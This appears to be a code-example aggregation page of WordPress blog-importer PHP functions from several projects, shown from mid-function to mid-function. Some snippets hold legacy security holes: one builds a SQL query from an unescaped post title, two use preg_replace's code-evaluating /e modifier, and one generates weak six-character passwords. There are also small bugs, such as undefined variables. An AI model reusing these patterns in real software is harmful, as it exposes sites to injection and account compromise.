							$user_email = $wpdb->escape($post_author_email);
							$user_password = substr(md5(uniqid(microtime())), 0, 6);
							$result = wp_create_user( $user_login, $user_password, $user_email );
							$status.= sprintf('Registered user <strong>%s</strong>.', $user_login);
							$this->import['blogs'][$_GET['blog']]['newusers'][] = $user_login;
						}
						$userdata = get_userdatabylogin( $post_author_name );
						$post_author = $userdata->ID;
					}
					$post_date = explode(' ', $post_date);
					$post_date_Ymd = explode('/', $post_date[0]);
					$postyear = $post_date_Ymd[2];
					$postmonth = zeroise($post_date_Ymd[0], 2);
					$postday = zeroise($post_date_Ymd[1], 2);
					$post_date_His = explode(':', $post_date[1]);
					$posthour = zeroise($post_date_His[0], 2);
					$postminute = zeroise($post_date_His[1], 2);
					$postsecond = zeroise($post_date_His[2], 2);
	
					if (($post_date[2] == 'PM') && ($posthour != '12'))
						$posthour = $posthour + 12;
					else if (($post_date[2] == 'AM') && ($posthour == '12'))
						$posthour = '00';
	
					$post_date = "$postyear-$postmonth-$postday $posthour:$postminute:$postsecond";
	
					$post_content = addslashes($post_content);
					$post_content = str_replace(array('<br>','<BR>','<br/>','<BR/>','<br />','<BR />'), "\n", $post_content); // the XHTML touch... ;)
	
					$post_title = addslashes($post_title);
			
					$post_status = 'publish';
	
					if ( $ID = post_exists($post_title, '', $post_date) ) {
						$post_array[$i]['ID'] = $ID;
						$skippedpostcount++;
					} else {
						$post_array[$i]['post'] = compact('post_author', 'post_content', 'post_title', 'post_category', 'post_author', 'post_date', 'post_status');
						$post_array[$i]['comments'] = false;
					}

					// Import any comments attached to this post.
					if ($postparts[1]) :
					for ($j = 1; $j < count($postparts); $j = $j + 1) {
						$commentinfo = explode('|W|P|', $postparts[$j]);
						$comment_date = explode(' ', $commentinfo[0]);
						$comment_date_Ymd = explode('/', $comment_date[0]);
						$commentyear = $comment_date_Ymd[2];
						$commentmonth = zeroise($comment_date_Ymd[0], 2);
						$commentday = zeroise($comment_date_Ymd[1], 2);
						$comment_date_His = explode(':', $comment_date[1]);
						$commenthour = zeroise($comment_date_His[0], 2);
						$commentminute = zeroise($comment_date_His[1], 2);
						$commentsecond = '00';
						if (($comment_date[2] == 'PM') && ($commenthour != '12'))
							$commenthour = $commenthour + 12;
						else if (($comment_date[2] == 'AM') && ($commenthour == '12'))
							$commenthour = '00';
						$comment_date = "$commentyear-$commentmonth-$commentday $commenthour:$commentminute:$commentsecond";
						$comment_author = addslashes(strip_tags($commentinfo[1]));
						if ( strpos($commentinfo[1], 'a href') ) {
							$comment_author_parts = explode('&quot;', htmlentities($commentinfo[1]));
							$comment_author_url = $comment_author_parts[1];
						} else $comment_author_url = '';
						$comment_content = $commentinfo[2];
						$comment_content = str_replace(array('<br>','<BR>','<br/>','<BR/>','<br />','<BR />'), "\n", $comment_content);
						$comment_approved = 1;
						if ( comment_exists($comment_author, $comment_date) ) {
							$skippedcommentcount++;
						} else {
							$comment = compact('comment_author', 'comment_author_url', 'comment_date', 'comment_content', 'comment_approved');
							$post_array[$i]['comments'][$j] = wp_filter_comment($comment);
						}
						$commentcount++;
					}
					endif;
					$postcount++;
				}
				if ( count($post_array) ) {
					krsort($post_array);
					foreach($post_array as $post) {
						if ( ! $comment_post_ID = $post['ID'] )
							$comment_post_ID = wp_insert_post($post['post']);
						if ( $post['comments'] ) {
							foreach ( $post['comments'] as $comment ) {
								$comment['comment_post_ID'] = $comment_post_ID;
								wp_insert_comment($comment);
							}
						}
					}
				}
				$status = sprintf(__('%s post(s) parsed, %s skipped...'), $postcount,  $skippedpostcount).' '.
					sprintf(__('%s comment(s) parsed, %s skipped...'), $commentcoun, $skippedcommentcount).' '.
					' <strong>'.__('Done').'</strong>';
				$import = $this->import;
				$import['blogs'][$_GET['blog']]['archives']["$url"] = $status;
				update_option('import-blogger', $import);
				$did_one = true;
			}
			$output.= "<p>$archivename $status</p>\n";
 		}
		if ( ! $did_one )
			$this->set_next_step(7);
		die( $this->refresher(1000) . $output );
	}
コード例 #26
0
 function process_posts()
 {
     global $wpdb;
     $i = -1;
     echo '<ol>';
     foreach ($this->posts as $post) {
         // There are only ever one of these
         $post_title = $this->get_tag($post, 'title');
         $post_date = $this->get_tag($post, 'wp:post_date');
         $post_date_gmt = $this->get_tag($post, 'wp:post_date_gmt');
         $comment_status = $this->get_tag($post, 'wp:comment_status');
         $ping_status = $this->get_tag($post, 'wp:ping_status');
         $post_status = $this->get_tag($post, 'wp:status');
         $post_parent = $this->get_tag($post, 'wp:post_parent');
         $post_type = $this->get_tag($post, 'wp:post_type');
         $guid = $this->get_tag($post, 'guid');
         $post_author = $this->get_tag($post, 'dc:creator');
         $post_content = $this->get_tag($post, 'content:encoded');
         $post_content = str_replace(array('<![CDATA[', ']]>'), '', $post_content);
         $post_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('\$1')", $post_content);
         $post_content = str_replace('<br>', '<br />', $post_content);
         $post_content = str_replace('<hr>', '<hr />', $post_content);
         preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
         $categories = $categories[1];
         $cat_index = 0;
         foreach ($categories as $category) {
             $categories[$cat_index] = $wpdb->escape($this->unhtmlentities(str_replace(array('<![CDATA[', ']]>'), '', $category)));
             $cat_index++;
         }
         if ($post_id = post_exists($post_title, '', $post_date)) {
             echo '<li>';
             printf(__('Post <i>%s</i> already exists.'), stripslashes($post_title));
         } else {
             echo '<li>';
             printf(__('Importing post <i>%s</i>...'), stripslashes($post_title));
             $post_author = $this->checkauthor($post_author);
             //just so that if a post already exists, new users are not created by checkauthor
             $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt', 'guid', 'post_parent', 'post_type');
             $comment_post_ID = $post_id = wp_insert_post($postdata);
             // Add categories.
             if (0 != count($categories)) {
                 wp_create_categories($categories, $post_id);
             }
         }
         // Now for comments
         preg_match_all('|<wp:comment>(.*?)</wp:comment>|is', $post, $comments);
         $comments = $comments[1];
         $num_comments = 0;
         if ($comments) {
             foreach ($comments as $comment) {
                 $comment_author = $this->get_tag($comment, 'wp:comment_author');
                 $comment_author_email = $this->get_tag($comment, 'wp:comment_author_email');
                 $comment_author_IP = $this->get_tag($comment, 'wp:comment_author_IP');
                 $comment_author_url = $this->get_tag($comment, 'wp:comment_author_url');
                 $comment_date = $this->get_tag($comment, 'wp:comment_date');
                 $comment_date_gmt = $this->get_tag($comment, 'wp:comment_date_gmt');
                 $comment_content = $this->get_tag($comment, 'wp:comment_content');
                 $comment_approved = $this->get_tag($comment, 'wp:comment_approved');
                 $comment_type = $this->get_tag($comment, 'wp:comment_type');
                 $comment_parent = $this->get_tag($comment, 'wp:comment_parent');
                 if (!comment_exists($comment_author, $comment_date)) {
                     $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_approved', 'comment_type', 'comment_parent');
                     wp_insert_comment($commentdata);
                     $num_comments++;
                 }
             }
         }
         if ($num_comments) {
             printf(' ' . __('(%s comments)'), $num_comments);
         }
         // Now for post meta
         preg_match_all('|<wp:postmeta>(.*?)</wp:postmeta>|is', $post, $postmeta);
         $postmeta = $postmeta[1];
         if ($postmeta) {
             foreach ($postmeta as $p) {
                 $key = $this->get_tag($p, 'wp:meta_key');
                 $value = $this->get_tag($p, 'wp:meta_value');
                 add_post_meta($post_id, $key, $value);
             }
         }
         $index++;
     }
     echo '</ol>';
     wp_import_cleanup($this->id);
     echo '<h3>' . sprintf(__('All done.') . ' <a href="%s">' . __('Have fun!') . '</a>', get_option('home')) . '</h3>';
 }
コード例 #27
0
 function process_post($post)
 {
     global $wpdb;
     $post_ID = (int) $this->get_tag($post, 'wp:post_id');
     if ($post_ID && !empty($this->post_ids_processed[$post_ID])) {
         // Processed already
         return 0;
     }
     set_time_limit(60);
     // There are only ever one of these
     $post_title = $this->get_tag($post, 'title');
     $post_date = $this->get_tag($post, 'wp:post_date');
     $post_date_gmt = $this->get_tag($post, 'wp:post_date_gmt');
     $comment_status = $this->get_tag($post, 'wp:comment_status');
     $ping_status = $this->get_tag($post, 'wp:ping_status');
     $post_status = $this->get_tag($post, 'wp:status');
     $post_name = $this->get_tag($post, 'wp:post_name');
     $post_parent = $this->get_tag($post, 'wp:post_parent');
     $menu_order = $this->get_tag($post, 'wp:menu_order');
     $post_type = $this->get_tag($post, 'wp:post_type');
     $post_password = $this->get_tag($post, 'wp:post_password');
     $is_sticky = $this->get_tag($post, 'wp:is_sticky');
     $guid = $this->get_tag($post, 'guid');
     $post_author = $this->get_tag($post, 'dc:creator');
     $post_excerpt = $this->get_tag($post, 'excerpt:encoded');
     $post_excerpt = preg_replace_callback('|<(/?[A-Z]+)|', array(&$this, '_normalize_tag'), $post_excerpt);
     $post_excerpt = str_replace('<br>', '<br />', $post_excerpt);
     $post_excerpt = str_replace('<hr>', '<hr />', $post_excerpt);
     $post_content = $this->get_tag($post, 'content:encoded');
     $post_content = preg_replace_callback('|<(/?[A-Z]+)|', array(&$this, '_normalize_tag'), $post_content);
     $post_content = str_replace('<br>', '<br />', $post_content);
     $post_content = str_replace('<hr>', '<hr />', $post_content);
     preg_match_all('|<category domain="tag">(.*?)</category>|is', $post, $tags);
     $tags = $tags[1];
     $tag_index = 0;
     foreach ($tags as $tag) {
         $tags[$tag_index] = $wpdb->escape(html_entity_decode(str_replace(array('<![CDATA[', ']]>'), '', $tag)));
         $tag_index++;
     }
     preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
     $categories = $categories[1];
     $cat_index = 0;
     foreach ($categories as $category) {
         $categories[$cat_index] = $wpdb->escape(html_entity_decode(str_replace(array('<![CDATA[', ']]>'), '', $category)));
         $cat_index++;
     }
     $post_exists = $wpdb->get_row("SELECT ID FROM wp_posts WHERE post_title = '" . $post_title . "' && post_status = 'publish'", 'ARRAY_N');
     if ($post_exists) {
         echo '<li>';
         printf(__('Post <em>%s</em> already exists.', 'wordpress-importer'), stripslashes($post_title));
         $comment_post_ID = $post_id = $post_exists;
     } else {
         // If it has parent, process parent first.
         $post_parent = (int) $post_parent;
         if ($post_parent) {
             // if we already know the parent, map it to the local ID
             if (isset($this->post_ids_processed[$post_parent])) {
                 $post_parent = $this->post_ids_processed[$post_parent];
                 // new ID of the parent
             } else {
                 // record the parent for later
                 $this->orphans[intval($post_ID)] = $post_parent;
             }
         }
         echo '<li>';
         $post_author = $this->checkauthor($post_author);
         //just so that if a post already exists, new users are not created by checkauthor
         $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'post_status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password');
         $postdata['import_id'] = $post_ID;
         if ($post_type == 'attachment') {
             $remote_url = $this->get_tag($post, 'wp:attachment_url');
             if (!$remote_url) {
                 $remote_url = $guid;
             }
             $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
             if (!$post_id or is_wp_error($post_id)) {
                 return $post_id;
             }
         } else {
             printf(__('Importing post <em>%s</em>...', 'wordpress-importer') . "\n", stripslashes($post_title));
             $comment_post_ID = $post_id = wp_insert_post($postdata);
             if ($post_id && $is_sticky == 1) {
                 stick_post($post_id);
             }
         }
         if (is_wp_error($post_id)) {
             return $post_id;
         }
         // Memorize old and new ID.
         if ($post_id && $post_ID) {
             $this->post_ids_processed[intval($post_ID)] = intval($post_id);
         }
         // Add categories.
         if (count($categories) > 0) {
             $post_cats = array();
             foreach ($categories as $category) {
                 if ('' == $category) {
                     continue;
                 }
                 $slug = sanitize_term_field('slug', $category, 0, 'category', 'db');
                 $cat = get_term_by('slug', $slug, 'category');
                 $cat_ID = 0;
                 if (!empty($cat)) {
                     $cat_ID = $cat->term_id;
                 }
                 if ($cat_ID == 0) {
                     $category = $wpdb->escape($category);
                     $cat_ID = wp_insert_category(array('cat_name' => $category));
                     if (is_wp_error($cat_ID)) {
                         continue;
                     }
                 }
                 $post_cats[] = $cat_ID;
             }
             wp_set_post_categories($post_id, $post_cats);
         }
         // Add tags.
         if (count($tags) > 0) {
             $post_tags = array();
             foreach ($tags as $tag) {
                 if ('' == $tag) {
                     continue;
                 }
                 $slug = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
                 $tag_obj = get_term_by('slug', $slug, 'post_tag');
                 $tag_id = 0;
                 if (!empty($tag_obj)) {
                     $tag_id = $tag_obj->term_id;
                 }
                 if ($tag_id == 0) {
                     $tag = $wpdb->escape($tag);
                     $tag_id = wp_insert_term($tag, 'post_tag');
                     if (is_wp_error($tag_id)) {
                         continue;
                     }
                     $tag_id = $tag_id['term_id'];
                 }
                 $post_tags[] = intval($tag_id);
             }
             wp_set_post_tags($post_id, $post_tags);
         }
     }
     // Now for comments
     preg_match_all('|<wp:comment>(.*?)</wp:comment>|is', $post, $comments);
     $comments = $comments[1];
     $num_comments = 0;
     $inserted_comments = array();
     if ($comments) {
         foreach ($comments as $comment) {
             $comment_id = $this->get_tag($comment, 'wp:comment_id');
             $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
             $newcomments[$comment_id]['comment_author'] = $this->get_tag($comment, 'wp:comment_author');
             $newcomments[$comment_id]['comment_author_email'] = $this->get_tag($comment, 'wp:comment_author_email');
             $newcomments[$comment_id]['comment_author_IP'] = $this->get_tag($comment, 'wp:comment_author_IP');
             $newcomments[$comment_id]['comment_author_url'] = $this->get_tag($comment, 'wp:comment_author_url');
             $newcomments[$comment_id]['comment_date'] = $this->get_tag($comment, 'wp:comment_date');
             $newcomments[$comment_id]['comment_date_gmt'] = $this->get_tag($comment, 'wp:comment_date_gmt');
             $newcomments[$comment_id]['comment_content'] = $this->get_tag($comment, 'wp:comment_content');
             $newcomments[$comment_id]['comment_approved'] = $this->get_tag($comment, 'wp:comment_approved');
             $newcomments[$comment_id]['comment_type'] = $this->get_tag($comment, 'wp:comment_type');
             $newcomments[$comment_id]['comment_parent'] = $this->get_tag($comment, 'wp:comment_parent');
         }
         // Sort by comment ID, to make sure comment parents exist (if there at all)
         ksort($newcomments);
         foreach ($newcomments as $key => $comment) {
             // if this is a new post we can skip the comment_exists() check
             if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                 if (isset($inserted_comments[$comment['comment_parent']])) {
                     $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                 }
                 $comment = wp_filter_comment($comment);
                 $inserted_comments[$key] = wp_insert_comment($comment);
                 $num_comments++;
             }
         }
     }
     if ($num_comments) {
         printf(' ' . _n('(%s comment)', '(%s comments)', $num_comments, 'wordpress-importer'), $num_comments);
     }
     // Now for post meta
     preg_match_all('|<wp:postmeta>(.*?)</wp:postmeta>|is', $post, $postmeta);
     $postmeta = $postmeta[1];
     if ($postmeta) {
         foreach ($postmeta as $p) {
             $key = $this->get_tag($p, 'wp:meta_key');
             $value = $this->get_tag($p, 'wp:meta_value');
             $this->process_post_meta($post_id, $key, $value);
         }
     }
     do_action('import_post_added', $post_id);
     print "</li>\n";
 }
コード例 #28
0
ファイル: wordpress.php プロジェクト: helmonaut/owb-mirror
 function process_post($post)
 {
     global $wpdb;
     $post_ID = (int) $this->get_tag($post, 'wp:post_id');
     if ($post_ID && !empty($this->posts_processed[$post_ID][1])) {
         // Processed already
         return 0;
     }
     // There are only ever one of these
     $post_title = $this->get_tag($post, 'title');
     $post_date = $this->get_tag($post, 'wp:post_date');
     $post_date_gmt = $this->get_tag($post, 'wp:post_date_gmt');
     $comment_status = $this->get_tag($post, 'wp:comment_status');
     $ping_status = $this->get_tag($post, 'wp:ping_status');
     $post_status = $this->get_tag($post, 'wp:status');
     $post_name = $this->get_tag($post, 'wp:post_name');
     $post_parent = $this->get_tag($post, 'wp:post_parent');
     $menu_order = $this->get_tag($post, 'wp:menu_order');
     $post_type = $this->get_tag($post, 'wp:post_type');
     $guid = $this->get_tag($post, 'guid');
     $post_author = $this->get_tag($post, 'dc:creator');
     $post_content = $this->get_tag($post, 'content:encoded');
     $post_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('\$1')", $post_content);
     $post_content = str_replace('<br>', '<br />', $post_content);
     $post_content = str_replace('<hr>', '<hr />', $post_content);
     preg_match_all('|<category domain="tag">(.*?)</category>|is', $post, $tags);
     $tags = $tags[1];
     $tag_index = 0;
     foreach ($tags as $tag) {
         $tags[$tag_index] = $wpdb->escape($this->unhtmlentities(str_replace(array('<![CDATA[', ']]>'), '', $tag)));
         $tag_index++;
     }
     preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
     $categories = $categories[1];
     $cat_index = 0;
     foreach ($categories as $category) {
         $categories[$cat_index] = $wpdb->escape($this->unhtmlentities(str_replace(array('<![CDATA[', ']]>'), '', $category)));
         $cat_index++;
     }
     if ($post_id = post_exists($post_title, '', $post_date)) {
         echo '<li>';
         printf(__('Post <i>%s</i> already exists.'), stripslashes($post_title));
     } else {
         // If it has parent, process parent first.
         $post_parent = (int) $post_parent;
         if ($parent = $this->posts_processed[$post_parent]) {
             if (!$parent[1]) {
                 $result = $this->process_post($parent[0]);
                 // If not yet, process the parent first.
                 if (is_wp_error($result)) {
                     return $result;
                 }
             }
             $post_parent = $parent[1];
             // New ID of the parent;
         }
         echo '<li>';
         printf(__('Importing post <i>%s</i>...'), stripslashes($post_title));
         $post_author = $this->checkauthor($post_author);
         //just so that if a post already exists, new users are not created by checkauthor
         $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'post_name', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt', 'guid', 'post_parent', 'menu_order', 'post_type');
         $comment_post_ID = $post_id = wp_insert_post($postdata);
         if (is_wp_error($post_id)) {
             return $post_id;
         }
         // Memorize old and new ID.
         if ($post_id && $post_ID && $this->posts_processed[$post_ID]) {
             $this->posts_processed[$post_ID][1] = $post_id;
         }
         // New ID.
         // Add categories.
         if (count($categories) > 0) {
             $post_cats = array();
             foreach ($categories as $category) {
                 $slug = sanitize_term_field('slug', $category, 0, 'category', 'db');
                 $cat = get_term_by('slug', $slug, 'category');
                 $cat_ID = 0;
                 if (!empty($cat)) {
                     $cat_ID = $cat->term_id;
                 }
                 if ($cat_ID == 0) {
                     $category = $wpdb->escape($category);
                     $cat_ID = wp_insert_category(array('cat_name' => $category));
                 }
                 $post_cats[] = $cat_ID;
             }
             wp_set_post_categories($post_id, $post_cats);
         }
         // Add tags.
         if (count($tags) > 0) {
             $post_tags = array();
             foreach ($tags as $tag) {
                 $slug = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
                 $tag_obj = get_term_by('slug', $slug, 'post_tag');
                 $tag_id = 0;
                 if (!empty($tag_obj)) {
                     $tag_id = $tag_obj->term_id;
                 }
                 if ($tag_id == 0) {
                     $tag = $wpdb->escape($tag);
                     $tag_id = wp_insert_term($tag, 'post_tag');
                     $tag_id = $tag_id['term_id'];
                 }
                 $post_tags[] = $tag_id;
             }
             wp_set_post_tags($post_id, $post_tags);
         }
     }
     // Now for comments
     preg_match_all('|<wp:comment>(.*?)</wp:comment>|is', $post, $comments);
     $comments = $comments[1];
     $num_comments = 0;
     if ($comments) {
         foreach ($comments as $comment) {
             $comment_author = $this->get_tag($comment, 'wp:comment_author');
             $comment_author_email = $this->get_tag($comment, 'wp:comment_author_email');
             $comment_author_IP = $this->get_tag($comment, 'wp:comment_author_IP');
             $comment_author_url = $this->get_tag($comment, 'wp:comment_author_url');
             $comment_date = $this->get_tag($comment, 'wp:comment_date');
             $comment_date_gmt = $this->get_tag($comment, 'wp:comment_date_gmt');
             $comment_content = $this->get_tag($comment, 'wp:comment_content');
             $comment_approved = $this->get_tag($comment, 'wp:comment_approved');
             $comment_type = $this->get_tag($comment, 'wp:comment_type');
             $comment_parent = $this->get_tag($comment, 'wp:comment_parent');
             if (!comment_exists($comment_author, $comment_date)) {
                 $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_approved', 'comment_type', 'comment_parent');
                 wp_insert_comment($commentdata);
                 $num_comments++;
             }
         }
     }
     if ($num_comments) {
         printf(' ' . __('(%s comments)'), $num_comments);
     }
     // Now for post meta
     preg_match_all('|<wp:postmeta>(.*?)</wp:postmeta>|is', $post, $postmeta);
     $postmeta = $postmeta[1];
     if ($postmeta) {
         foreach ($postmeta as $p) {
             $key = $this->get_tag($p, 'wp:meta_key');
             $value = $this->get_tag($p, 'wp:meta_value');
             $value = stripslashes($value);
             // add_post_meta() will escape.
             add_post_meta($post_id, $key, $value);
         }
     }
 }
コード例 #29
0
ファイル: wordpress-importer.php プロジェクト: Inteleck/hwc
 /**
  * Create new posts based on import information
  *
  * Posts marked as having a parent which doesn't exist will become top level items.
  * Doesn't create a new post if: the post type doesn't exist, the given post ID
  * is already noted as imported or a post with the same title and date already exists.
  * Note that new/updated terms, comments and meta are imported for the last of the above.
  */
 function process_posts()
 {
     foreach ($this->posts as $post) {
         if (!post_type_exists($post['post_type'])) {
             printf(__('Failed to import &#8220;%s&#8221;: Invalid post type %s', 'radium'), esc_html($post['post_title']), esc_html($post['post_type']));
             echo '<br />';
             continue;
         }
         if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id'])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             $this->process_menu_item($post);
             continue;
         }
         $post_type_object = get_post_type_object($post['post_type']);
         $post_exists = post_exists($post['post_title'], '', $post['post_date']);
         if ($post_exists && get_post_type($post_exists) == $post['post_type']) {
             printf(__('%s &#8220;%s&#8221; already exists.', 'radium'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
             echo '<br />';
             $comment_post_ID = $post_id = $post_exists;
         } else {
             $post_parent = (int) $post['post_parent'];
             if ($post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[intval($post['post_id'])] = $post_parent;
                     $post_parent = 0;
                 }
             }
             // map the post author
             $author = sanitize_user($post['post_author'], true);
             if (isset($this->author_mapping[$author])) {
                 $author = $this->author_mapping[$author];
             } else {
                 $author = (int) get_current_user_id();
             }
             $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
             if ('attachment' == $postdata['post_type']) {
                 $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];
                 // try to use _wp_attached file for upload folder placement to ensure the same location as the export site
                 // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
                 $postdata['upload_date'] = $post['post_date'];
                 if (isset($post['postmeta'])) {
                     foreach ($post['postmeta'] as $meta) {
                         if ($meta['key'] == '_wp_attached_file') {
                             if (preg_match('%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches)) {
                                 $postdata['upload_date'] = $matches[0];
                             }
                             break;
                         }
                     }
                 }
                 $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
             } else {
                 $comment_post_ID = $post_id = wp_insert_post($postdata, true);
             }
             if (is_wp_error($post_id)) {
                 printf(__('Failed to import %s &#8220;%s&#8221;', 'radium'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
                 if (defined('IMPORT_DEBUG') && IMPORT_DEBUG) {
                     echo ': ' . $post_id->get_error_message();
                 }
                 echo '<br />';
                 continue;
             }
             if ($post['is_sticky'] == 1) {
                 stick_post($post_id);
             }
         }
         // map pre-import ID to local ID
         $this->processed_posts[intval($post['post_id'])] = (int) $post_id;
         // add categories, tags and other terms
         if (!empty($post['terms'])) {
             $terms_to_set = array();
             foreach ($post['terms'] as $term) {
                 // back compat with WXR 1.0 map 'tag' to 'post_tag'
                 $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                 $term_exists = term_exists($term['slug'], $taxonomy);
                 $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                 if (!$term_id) {
                     $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                     if (!is_wp_error($t)) {
                         $term_id = $t['term_id'];
                     } else {
                         printf(__('Failed to import %s %s', 'radium'), esc_html($taxonomy), esc_html($term['name']));
                         if (defined('IMPORT_DEBUG') && IMPORT_DEBUG) {
                             echo ': ' . $t->get_error_message();
                         }
                         echo '<br />';
                         continue;
                     }
                 }
                 $terms_to_set[$taxonomy][] = intval($term_id);
             }
             foreach ($terms_to_set as $tax => $ids) {
                 $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
             }
             unset($post['terms'], $terms_to_set);
         }
         // add/update comments
         if (!empty($post['comments'])) {
             $num_comments = 0;
             $inserted_comments = array();
             foreach ($post['comments'] as $comment) {
                 $comment_id = $comment['comment_id'];
                 $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                 $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                 $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                 $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                 $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                 $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                 $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                 $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                 $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                 $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                 $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                 $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                 if (isset($this->processed_authors[$comment['comment_user_id']])) {
                     $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];
                 }
             }
             ksort($newcomments);
             foreach ($newcomments as $key => $comment) {
                 // if this is a new post we can skip the comment_exists() check
                 if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                     if (isset($inserted_comments[$comment['comment_parent']])) {
                         $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                     }
                     $comment = wp_filter_comment($comment);
                     $inserted_comments[$key] = wp_insert_comment($comment);
                     foreach ($comment['commentmeta'] as $meta) {
                         $value = maybe_unserialize($meta['value']);
                         add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                     }
                     $num_comments++;
                 }
             }
             unset($newcomments, $inserted_comments, $post['comments']);
         }
         // add/update post meta
         if (isset($post['postmeta'])) {
             foreach ($post['postmeta'] as $meta) {
                 $key = apply_filters('import_post_meta_key', $meta['key']);
                 $value = false;
                 if ('_edit_last' == $key) {
                     if (isset($this->processed_authors[intval($meta['value'])])) {
                         $value = $this->processed_authors[intval($meta['value'])];
                     } else {
                         $key = false;
                     }
                 }
                 if ($key) {
                     // export gets meta straight from the DB so could have a serialized string
                     if (!$value) {
                         $value = maybe_unserialize($meta['value']);
                     }
                     add_post_meta($post_id, $key, $value);
                     do_action('import_post_meta', $post_id, $key, $value);
                     // if the post has a featured image, take note of this in case of remap
                     if ('_thumbnail_id' == $key) {
                         $this->featured_images[$post_id] = (int) $value;
                     }
                 }
             }
         }
     }
     unset($this->posts);
 }
コード例 #30
0
 /**
  * Create new posts based on import information
  *
  * Posts marked as having a parent which doesn't exist will become top level items.
  * Doesn't create a new post if: the post type doesn't exist, the given post ID
  * is already noted as imported or a post with the same title and date already exists.
  * Note that new/updated terms, comments and meta are imported for the last of the above.
  */
 function process_posts()
 {
     $this->posts = apply_filters('wp_import_posts', $this->posts);
     // Count total images
     foreach ($this->posts as $post) {
         $post = apply_filters('wp_import_post_data_raw', $post);
         if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id'])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             continue;
         }
         $post_type_object = get_post_type_object($post['post_type']);
         $post_exists = post_exists($post['post_title'], '', $post['post_date']);
         if (get_post_type($post_exists) != $post['post_type']) {
             $postdata = array('import_id' => $post['post_id'], 'post_author' => !empty($author) ? $author : '', 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => !empty($post_parent) ? $post_parent : '', 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
             $original_post_ID = $post['post_id'];
             $postdata = apply_filters('wp_import_post_data_processed', $postdata, $post);
             if ('attachment' == $postdata['post_type']) {
                 $this->totalImages++;
             }
         }
     }
     foreach ($this->posts as $post) {
         $post = apply_filters('wp_import_post_data_raw', $post);
         if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id'])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             $this->process_menu_item($post);
             continue;
         } else {
             if ($post['post_type'] == 'page') {
